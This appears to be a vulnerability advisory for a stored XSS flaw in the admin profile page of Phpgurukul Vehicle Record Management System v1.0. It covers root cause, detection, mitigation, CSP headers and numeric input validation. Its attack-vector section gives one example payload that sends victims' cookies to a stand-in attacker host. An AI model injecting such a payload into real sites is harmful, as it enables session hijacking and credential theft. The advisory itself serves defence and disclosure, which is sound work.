CVE-2024-51223: Phpgurukul Vehicle Record System XSS Flaw

CVE-2024-51223 Overview

A stored cross-site scripting (XSS) vulnerability has been identified in Phpgurukul Vehicle Record Management System v1.0. The vulnerability exists in the /admin/profile.php component, where attackers with administrative privileges can inject malicious web scripts or HTML code through the Mobile Number parameter. Once stored, the malicious payload executes whenever the affected page is viewed by other users, potentially compromising additional administrative accounts or session data.

Critical Impact

Authenticated attackers can execute arbitrary JavaScript in victim browsers, potentially leading to session hijacking, credential theft, and administrative account compromise within the Vehicle Record Management System.

Affected Products

• Phpgurukul Vehicle Record Management System v1.0
• Web applications using the vulnerable /admin/profile.php component

Discovery Timeline

• 2026-03-23 - CVE-2024-51223 published to NVD
• 2026-03-24 - Last updated in NVD database

Technical Details for CVE-2024-51223

Vulnerability Analysis

This stored XSS vulnerability (CWE-79) allows an authenticated attacker with administrative privileges to inject malicious scripts into the Mobile Number field within the admin profile page. Unlike reflected XSS attacks that require user interaction with a malicious link, stored XSS persists in the application's database. When other users—including administrators—access the compromised profile page, the injected script executes within their browser context.

The attack requires network access and user interaction from the victim, but the scope is changed, meaning the vulnerable component impacts resources beyond its security scope. This enables attackers to potentially steal session cookies, perform actions on behalf of the victim, or redirect users to malicious sites.

Root Cause

The root cause of this vulnerability is insufficient input validation and output encoding in the /admin/profile.php component. The Mobile Number parameter accepts user-supplied input without proper sanitization, allowing HTML and JavaScript payloads to be stored in the database. When this data is later rendered on the page, it is not properly escaped, causing the browser to interpret the malicious content as executable code rather than plain text.

Attack Vector

The attack is conducted over the network and requires the attacker to have high-level privileges (administrative access) to the Vehicle Record Management System. The exploitation flow involves:

1. An attacker with admin credentials navigates to /admin/profile.php
2. The attacker injects a crafted XSS payload into the Mobile Number field (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>)
3. The payload is stored in the application database without sanitization
4. When any user views the profile page containing the malicious payload, the script executes in their browser
5. The attacker can then capture session tokens, perform CSRF attacks, or execute other malicious actions

The vulnerability requires user interaction from the victim to view the compromised page, but no additional interaction is needed for the payload to execute.

Detection Methods for CVE-2024-51223

Indicators of Compromise

• Unusual JavaScript or HTML tags present in the Mobile Number field of admin profiles
• Database entries containing script tags, event handlers (e.g., onerror, onload), or encoded JavaScript payloads
• Unexpected outbound network connections from user browsers to unknown domains
• Admin session tokens appearing in external server logs

Detection Strategies

• Implement web application firewall (WAF) rules to detect XSS payloads in HTTP POST requests to /admin/profile.php
• Monitor database fields for suspicious HTML/JavaScript content patterns using regular expressions
• Deploy Content Security Policy (CSP) headers and monitor for policy violation reports
• Review application logs for requests containing common XSS vectors in the Mobile Number parameter

Monitoring Recommendations

• Enable verbose logging for the admin profile management functionality
• Set up alerts for database entries containing script tags or HTML event handlers in user input fields
• Monitor for CSP violation reports which may indicate attempted XSS exploitation
• Regularly audit admin profile data for anomalous content in numeric fields

How to Mitigate CVE-2024-51223

Immediate Actions Required

• Audit existing admin profiles for malicious content in the Mobile Number field and sanitize any discovered payloads
• Implement strict input validation on the Mobile Number parameter to accept only numeric characters
• Apply output encoding (HTML entity encoding) when displaying user-supplied data on web pages
• Consider restricting access to admin functionality until a patch is applied

Patch Information

No official patch has been released by Phpgurukul at the time of this publication. Organizations using Vehicle Record Management System v1.0 should review the GitHub vulnerability research details for additional technical information and monitor for vendor updates.

Workarounds

• Implement server-side input validation to restrict the Mobile Number field to numeric characters only (e.g., regex pattern ^[0-9]+$)
• Apply HTML entity encoding using PHP functions like htmlspecialchars() or htmlentities() when outputting user-supplied data
• Deploy a Web Application Firewall (WAF) with XSS detection rules to filter malicious payloads
• Implement Content Security Policy (CSP) headers to restrict inline script execution

# Example Apache configuration to add CSP headers
# Add to .htaccess or httpd.conf
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"

# PHP input validation example for Mobile Number
# Add to profile.php before database insertion
# if (!preg_match('/^[0-9]+$/', $_POST['mobile'])) { die('Invalid mobile number'); }